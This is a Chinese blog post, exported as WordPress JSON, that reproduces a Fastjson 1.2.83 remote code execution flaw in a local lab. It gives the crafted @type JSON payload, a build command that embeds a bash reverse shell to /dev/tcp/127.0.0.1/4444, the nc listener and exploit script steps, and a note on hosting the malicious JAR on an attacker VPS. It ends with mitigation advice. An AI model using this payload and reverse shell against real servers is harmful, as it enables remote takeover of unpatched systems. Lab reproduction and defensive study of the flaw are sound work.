{"id":99402,"date":"2026-09-02T15:04:34","date_gmt":"2026-09-02T07:04:34","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/99402.html"},"modified":"2026-09-02T15:04:34","modified_gmt":"2026-09-02T07:04:34","slug":"fastjson-1-2-83-%e8%bf%9c%e7%a8%8b%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e%ef%bc%88%e6%97%a0-gadget%ef%bc%89%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/99402.html","title":{"rendered":"Fastjson 1.2.83 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08\u65e0 Gadget\uff09\u590d\u73b0"},"content":{"rendered":"<h3>\u6f0f\u6d1e\u6982\u8ff0<\/h3>\n<p>2026\u5e747\u6708&#xff0c;\u5b89\u5168\u7814\u7a76\u4eba\u5458\u62ab\u9732\u4e86 Fastjson 1.2.83 \u53ca\u4e4b\u524d\u7248\u672c\u4e2d\u5b58\u5728\u4e00\u4e2a\u65e0\u9700\u4f9d\u8d56\u4efb\u4f55\u7b2c\u4e09\u65b9\u7c7b\u5e93&#xff08;Gadget&#xff09;\u00a0\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u53ea\u9700\u53d1\u9001\u4e00\u6761\u7279\u5236\u7684 JSON Payload&#xff0c;\u5373\u53ef\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u8be5\u6f0f\u6d1e\u5f71\u54cd Fastjson 1.2.66 ~ 1.2.83&#xff0c;\u5373\u4f7f\u5728\u00a0autoTypeSupport\u00a0\u9ed8\u8ba4\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u4e5f\u53ef\u89e6<\/p>\n<h3>\u5f71\u54cd\u7248\u672c<\/h3>\n<ul>\n<li>\n<p>Fastjson 1.2.66 \u2013 1.2.83<\/p>\n<\/li>\n<li>\n<p>JDK 8 \u73af\u5883&#xff08;JDK 9&#043; \u53ef\u80fd\u4ec5\u89e6\u53d1 SSRF&#xff09;<\/p>\n<\/li>\n<li>\n<p>\u90e8\u7f72\u65b9\u5f0f&#xff1a;Spring Boot FatJar&#xff08;\u4f7f\u7528\u00a0LaunchedURLClassLoader&#xff09;<\/p>\n<\/li>\n<\/ul>\n<h3>\u6f0f\u6d1e\u539f\u7406\u7b80\u6790<\/h3>\n<p>Fastjson \u5728\u5904\u7406\u00a0&#064;type\u00a0\u5b57\u6bb5\u65f6&#xff0c;\u4f1a\u8c03\u7528\u00a0checkAutoType\u00a0\u65b9\u6cd5\u5c1d\u8bd5\u52a0\u8f7d\u7c7b\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u6784\u9020\u4e00\u4e2a\u7279\u6b8a\u7684\u00a0&#064;type\u00a0\u503c&#xff0c;\u4f8b\u5982&#xff1a;<\/p>\n<p>jar:http:..2130706433:19090.probe!.POC <\/p>\n<p>\u5176\u4e2d\u00a02130706433\u00a0\u662f\u00a0127.0.0.1\u00a0\u7684\u5341\u8fdb\u5236\u6574\u6570\u8868\u793a&#xff08;\u7528\u4e8e\u7ed5\u8fc7\u70b9\u53f7\u66ff\u6362\u903b\u8f91&#xff09;\u3002Fastjson \u4f1a\u5c06\u8be5\u503c\u8f6c\u6362\u4e3a JAR URL&#xff1a;<\/p>\n<p>jar:http:\/\/127.0.0.1:19090\/probe!\/POC.class <\/p>\n<p>\u5728 Spring Boot \u7684\u00a0LaunchedURLClassLoader\u00a0\u73af\u5883\u4e0b&#xff0c;\u8be5 URL \u4f1a\u88ab\u89e3\u6790\u5e76\u8fdc\u7a0b\u52a0\u8f7d\u4e00\u4e2a\u6076\u610f JAR \u5305\u3002JAR \u5305\u4e2d\u7684\u9759\u6001\u4ee3\u7801\u5757&#xff08;&lt;clinit&gt;&#xff09;\u4f1a\u5728\u7c7b\u52a0\u8f7d\u65f6\u81ea\u52a8\u6267\u884c&#xff0c;\u4ece\u800c\u5b9e\u73b0\u4efb\u610f\u4ee3\u7801\u6267\u884c\u3002<\/p>\n<h3>\u5b9e\u9a8c\u73af\u5883<\/h3>\n<table>\n<tr>\u89d2\u8272\u7cfb\u7edf\u8f6f\u4ef6\u7248\u672c<\/tr>\n<tbody>\n<tr>\n<td>\u9776\u673a<\/td>\n<td>Ubuntu Linux&#xff08;\u865a\u62df\u673a&#xff09;<\/td>\n<td>JDK 8u492\u3001Maven 3.6&#043;\u3001Spring Boot FatJar<\/td>\n<\/tr>\n<tr>\n<td>\u653b\u51fb\u673a<\/td>\n<td>\u540c\u4e00\u53f0\u865a\u62df\u673a&#xff08;\u672c\u5730\u56de\u73af&#xff09;<\/td>\n<td>Python 3\u3001nc<\/td>\n<\/tr>\n<tr>\n<td>\u6f0f\u6d1e\u7ec4\u4ef6<\/td>\n<td>Fastjson 1.2.83<\/td>\n<td>\u9776\u573a\u9879\u76ee\u00a0fastjson-1.2.83-rce<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u6ce8&#xff1a;\u4e3a\u7b80\u5316\u5b9e\u9a8c&#xff0c;\u653b\u51fb\u673a\u4e0e\u9776\u673a\u4f4d\u4e8e\u540c\u4e00\u53f0\u673a\u5668&#xff08;127.0.0.1&#xff09;&#xff0c;\u7f51\u7edc\u4e92\u901a\u3002<\/p>\n<h3>\u590d\u73b0\u6b65\u9aa4<\/h3>\n<h4>1.\u90e8\u7f72fastjson\u670d\u52a1\u9776\u573a<\/h4>\n<p>\u786e\u8ba4 JDK \u7248\u672c\u4e3a 1.8\u3001\u5b89\u88c5Maven&#xff08;\u5982\u672a\u5b89\u88c5&#xff09;&#xff1a;<\/p>\n<p>java -version<br \/>\n# openjdk version &#034;1.8.0_492&#034;<br \/>\nsudo apt install maven -y <\/p>\n<p>\u514b\u9686\u9776\u573a\u9879\u76ee\u5e76\u7f16\u8bd1&#xff1a;<\/p>\n<p>git clone https:\/\/github.com\/0x7eTeam\/fastjson-1.2.83-rce.git<br \/>\ncd fastjson-1.2.83-rce<br \/>\nmvn clean package -DskipTests <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"260\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260902070433-6a97ca8111aa1.png\" width=\"934\" \/><\/p>\n<p>\u542f\u52a8\u9776\u573a&#xff08;\u9ed8\u8ba4\u76d1\u542c 18080 \u7aef\u53e3&#xff09;&#xff1a;\u770b\u5230\u00a0Started Application\u00a0\u5373\u8868\u793a\u6210\u529f<\/p>\n<p>java -jar target\/fastjson-rce-env-1.0.0.jar <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"425\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260902070433-6a97ca812af54.png\" width=\"1364\" \/><\/p>\n<h4>2.\u653b\u51fb\u673a\u751f\u6210\u6076\u610f JAR \u5e76\u542f\u52a8 HTTP \u670d\u52a1&#xff08;\u672c\u5b9e\u9a8c\u7528\u7684\u662f\u540c\u4e00\u53f0\u865a\u62df\u673a&#xff09;<\/h4>\n<p>\u65b0\u5f00\u4e00\u4e2a\u7ec8\u7aef&#xff0c;\u8fdb\u5165\u9879\u76ee\u76ee\u5f55&#xff0c;\u8fd0\u884c\u00a0build.sh\u00a0\u751f\u6210\u5305\u542b\u53cd\u5f39 Shell \u547d\u4ee4\u7684\u00a0probe.jar&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u7f16\u8bd1\u4e00\u4e2a\u5305\u542b\u9759\u6001\u4ee3\u7801\u5757\u7684 Java \u7c7b&#xff0c;\u6267\u884c\u6307\u5b9a\u7684\u547d\u4ee4&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u6253\u5305\u4e3a\u00a0probe.jar&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u81ea\u52a8\u5728\u00a019090\u00a0\u7aef\u53e3\u542f\u52a8 Python HTTP \u670d\u52a1\u5668&#xff0c;\u6258\u7ba1\u8be5 JAR \u6587\u4ef6\u3002<\/p>\n<\/li>\n<\/ul>\n<p>bash scripts\/build.sh 127.0.0.1 19090 &#034;bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/127.0.0.1\/4444 0&gt;&amp;1&#039;&#034; <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"374\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260902070433-6a97ca815ad14.png\" width=\"959\" \/><\/p>\n<p>\u6ce8\u610f&#xff1a;\u5728\u5b9e\u9645\u653b\u9632\u573a\u666f\u4e2d&#xff0c;\u5982\u679c\u9776\u673a\u662f\u516c\u7f51 IP&#xff0c;\u653b\u51fb\u8005\u9700\u8981\u5728\u81ea\u5df1\u7684 VPS&#xff08;\u516c\u7f51\u670d\u52a1\u5668&#xff09;\u4e0a\u8fd0\u884c\u8fd9\u4e2a HTTP \u670d\u52a1&#xff0c;\u7136\u540e\u8ba9\u9776\u673a\u6765\u81ea\u5df1\u7684 VPS \u4e0b\u8f7d\u6076\u610f JAR<\/p>\n<p>\u76d1\u542c\u53cd\u5f39 Shell&#xff0c;\u53d1\u9001\u653b\u51fb Payload&#xff1a;<\/p>\n<p>\u811a\u672c\u4f1a\u81ea\u52a8&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u542f\u52a8 HTTP \u670d\u52a1\u5668&#xff08;\u82e5\u672a\u542f\u52a8&#xff09;&#xff1b;<\/p>\n<\/li>\n<li>\n<p>\u5411\u00a0http:\/\/127.0.0.1:18080\/parse\u00a0\u53d1\u9001\u5982\u4e0b Payload&#xff1a;<\/p>\n<\/li>\n<li>\n<p>{&#034;&#064;type&#034;: &#034;jar:http:..2130706433:19090.probe!.POC&#034;, &#034;x&#034;: 1}<\/p>\n<\/li>\n<\/ul>\n<p>nc -lvnp 4444<br \/>\n#\u7ee7\u7eed\u5728\u653b\u51fb\u7ec8\u7aef\u6267\u884c exploit.py&#xff0c;\u5411\u9776\u573a\u53d1\u9001\u6076\u610f JSON<br \/>\npython3 poc\/exploit.py 127.0.0.1 19090 http:\/\/127.0.0.1:18080<\/p>\n<p>\u6267\u884c\u540e&#xff0c;\u9776\u573a\u8fd4\u56de\u00a0200 OK&#xff0c;\u4e14\u653b\u51fb\u7ec8\u7aef\u7684 HTTP \u670d\u52a1\u5668\u65e5\u5fd7\u4e2d\u4f1a\u770b\u5230\u00a0GET \/probe\u00a0\u8bf7\u6c42&#xff0c;\u8868\u660e JAR \u5df2\u88ab\u6210\u529f\u4e0b\u8f7d\u5e76\u52a0\u8f7d<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"431\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260902070433-6a97ca8178ec8.png\" width=\"970\" \/><\/p>\n<h4>3.\u9a8c\u8bc1\u547d\u4ee4\u6267\u884c<\/h4>\n<p>\u6b64\u65f6&#xff0c;nc\u00a0\u76d1\u542c\u7ec8\u7aef\u5e94\u663e\u793a\u00a0Connection received&#xff0c;\u5e76\u8fdb\u5165\u4ea4\u4e92\u5f0f Shell\u3002\u6267\u884c\u4efb\u610f\u547d\u4ee4\u9a8c\u8bc1&#xff1a;<\/p>\n<p>id  pwd whoami ll.. <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"346\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/09\/20260902070433-6a97ca81993f5.png\" width=\"896\" \/><\/p>\n<p>\u82e5\u770b\u5230\u4e0a\u8ff0\u8f93\u51fa&#xff0c;\u8bf4\u660e RCE \u6210\u529f&#xff0c;\u5df2\u83b7\u53d6\u76ee\u6807\u670d\u52a1\u5668\u7684 root \u6743\u9650\u3002<\/p>\n<h3>\u4fee\u590d\u5efa\u8bae<\/h3>\n<table>\n<tr>\u63aa\u65bd\u8bf4\u660e<\/tr>\n<tbody>\n<tr>\n<td>\u7acb\u5373\u542f\u7528 SafeMode<\/td>\n<td>ParserConfig.getGlobalInstance().setSafeMode(true);\u00a0\u6216 JVM \u53c2\u6570\u00a0-Dfastjson.parser.safeMode&#061;true<\/td>\n<\/tr>\n<tr>\n<td>\u5347\u7ea7\u5230 Fastjson 2.x<\/td>\n<td>\u5b98\u65b9\u5df2\u505c\u6b62\u7ef4\u62a4 1.x&#xff0c;2.x \u7248\u672c\u91cd\u6784\u4e86\u5b89\u5168\u673a\u5236<\/td>\n<\/tr>\n<tr>\n<td>\u4f7f\u7528\u7b2c\u4e09\u65b9 WAF<\/td>\n<td>\u53ef\u4e34\u65f6\u62e6\u622a\u5305\u542b\u00a0&#064;type\u00a0\u4e2d\u00a0jar:\u00a0\u534f\u8bae\u7684\u8bf7\u6c42<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>\u603b\u7ed3<\/h3>\n<p>\u672c\u6b21\u590d\u73b0\u9a8c\u8bc1\u4e86 Fastjson 1.2.83 \u7684\u201c\u65e0 Gadget\u201dRCE \u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u4ec5\u9700\u4e00\u6761 JSON Payload \u5373\u53ef\u5728\u6ee1\u8db3\u7279\u5b9a\u6761\u4ef6&#xff08;JDK 8 &#043; Spring Boot FatJar&#xff09;\u7684\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u8be5\u6f0f\u6d1e\u5371\u5bb3\u6781\u5927&#xff0c;\u5efa\u8bae\u4f7f\u7528 Fastjson 1.x \u7684\u7528\u6237\u7acb\u5373\u91c7\u53d6\u7f13\u89e3\u63aa\u65bd\u3002<\/p>\n<p>\u26a0\ufe0f\u00a0\u58f0\u660e&#xff1a;\u672c\u6587\u5185\u5bb9\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u548c\u6388\u6743\u6d4b\u8bd5\u4f7f\u7528&#xff0c;\u4e25\u7981\u7528\u4e8e\u975e\u6cd5\u76ee\u7684\u3002<\/p>\n<h3>\u00a0POC\u53c2\u8003\u94fe\u63a5<\/h3>\n<p>0x7eTeam\/fastjson-1.2.83-rce: Fastjson 1.2.68 ~ 1.2.83 RCE<\/p>\n<p>ThanatosXingYu\/2026FastjsonPoC: \u3010\u5df2\u590d\u73b0\u3011Fastjson 1.2.66\u20131.2.83 JsonType \u7eaf\u5e93\u4e00\u952e RCE&#xff08;AutoType \u5173\u95ed\u4ecd\u53ef\u5229\u7528&#xff1b;\u5b8c\u6574 RCE \u9700 JDK8 &#043; Spring Boot LaunchedURLClassLoader&#xff09;\u3002\u4ec5\u9650\u6388\u6743\u5b89\u5168\u7814\u7a76\u4e0e\u672c\u5730\u9632\u5fa1\u9a8c\u8bc1\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6f0f\u6d1e\u6982\u8ff0<br \/>\n2026\u5e747\u6708&#xff0c;\u5b89\u5168\u7814\u7a76\u4eba\u5458\u62ab\u9732\u4e86 Fastjson 1.2.83 \u53ca\u4e4b\u524d\u7248\u672c\u4e2d\u5b58\u5728\u4e00\u4e2a\u65e0\u9700\u4f9d\u8d56\u4efb\u4f55\u7b2c\u4e09\u65b9\u7c7b\u5e93&#xff08;Gadget&#xff09;\u00a0\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u53ea\u9700\u53d1\u9001\u4e00\u6761\u7279\u5236\u7684 JSON Payload&#xff0c;\u5373\u53ef\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u8be5\u6f0f\u6d1e\u5f71\u54cd Fastjson 1.2.66 ~ 1.2.83&#xff0c;\u5373\u4f7f\u5728\u00a0autoTypeSupport\u00a0\u9ed8\u8ba4\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u4e5f\u53ef\u89e6<br \/>\n\u5f71\u54cd\u7248\u672c Fastjson 1.2.6<\/p>\n","protected":false},"author":2,"featured_media":99397,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[81,594,275,61,96],"topic":[],"class_list":["post-99402","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-python","tag-web","tag-61","tag-96"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Fastjson 1.2.83 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08\u65e0 Gadget\uff09\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.wsisp.com\/helps\/99402.html\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Fastjson 1.2.83 \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff08\u65e0 Gadget\uff09\u590d\u73b0 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u6f0f\u6d1e\u6982\u8ff0 2026\u5e747\u6708&#xff0c;\u5b89\u5168\u7814\u7a76\u4eba\u5458\u62ab\u9732\u4e86 Fastjson 1.2.83 \u53ca\u4e4b\u524d\u7248\u672c\u4e2d\u5b58\u5728\u4e00\u4e2a\u65e0\u9700\u4f9d\u8d56\u4efb\u4f55\u7b2c\u4e09\u65b9\u7c7b\u5e93&#xff08;Gadget&#xff09;\u00a0\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002\u653b\u51fb\u8005\u53ea\u9700\u53d1\u9001\u4e00\u6761\u7279\u5236\u7684 JSON Payload&#xff0c;\u5373\u53ef\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u8be5\u6f0f\u6d1e\u5f71\u54cd Fastjson 1.2.66 ~ 1.2.83&#xff0c;\u5373\u4f7f\u5728\u00a0autoTypeSupport\u00a0\u9ed8\u8ba4\u5173\u95ed\u7684\u60c5\u51b5\u4e0b\u4e5f\u53ef\u89e6 \u5f71\u54cd\u7248\u672c Fastjson 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